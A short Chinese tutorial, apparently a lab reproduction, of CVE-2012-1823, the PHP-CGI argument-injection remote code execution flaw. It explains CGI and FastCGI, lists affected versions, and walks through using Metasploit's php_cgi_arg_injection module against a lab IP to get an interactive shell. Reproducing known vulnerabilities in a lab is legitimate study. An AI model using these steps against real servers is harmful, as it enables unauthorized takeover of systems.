(CVE-2012-1823)PHP-CGI远程代码执行漏洞(80端口)
- 一、介绍
 - 二、漏洞影响
 - 三、原理
 - 四、漏洞复现
 
一、介绍
php-cgi是一个类似于消息的“传递者”,它接收web容器收到的http数据包,并把里面的数据交给PHP解释器执行php-cgi有两个功能,一是提供cgi方式的交互,二是提供fastcgi方式的交互cgi方式:web容器接收到http数据包后,拿到用户请求的文件(cgi脚本),并fork除一个子进程(解释器)去执行这个文件,然后拿到执行结果,直接返回给用户,然后子进程结束,但是这个cgi模式不能接收同时接收大量的请求,因为创建进程的时候会消耗服务器资源,资源也不是无限的,所以有了fastcgifastcgi方式:fastcgi进程可以将自己一直运行在后台,并通过fastcgi协议接收数据包,执行后返回结果,但自身并不退出- CVE-2012-1823就是存在于以cgi模式运行的php中
 - 本质是用户请求的参数被作为了
php-cgi的参数 
二、漏洞影响
- 影响版本 php < 5.3.12 or php < 5.4.2
 
三、原理
- CGI脚本没有正确处理请求参数,导致源代码泄露,允许远程攻击者在请求参数中插入执行命令
 
四、漏洞复现
- 启动metasploit
 
msfconsole
 

- 选择漏洞库
 
search php_cgi
use exploit/multi/http/php_cgi_arg_injection
 

-  
设置参数,
-  
查看需要设置的参数:
show options

 -  
设置要攻击的机器IP:
set RHOST 192.168.9.147

 
 -  
 -  
开始攻击
 
exploit
 

- 利用成功,使用
shell获得终端,bash -i获得交互式终端

 









![[AIGC] 几道 redis数据结构相关面试题](https://img-blog.csdnimg.cn/img_convert/54378c19e76c9068bf122a3fca1d724c.png)








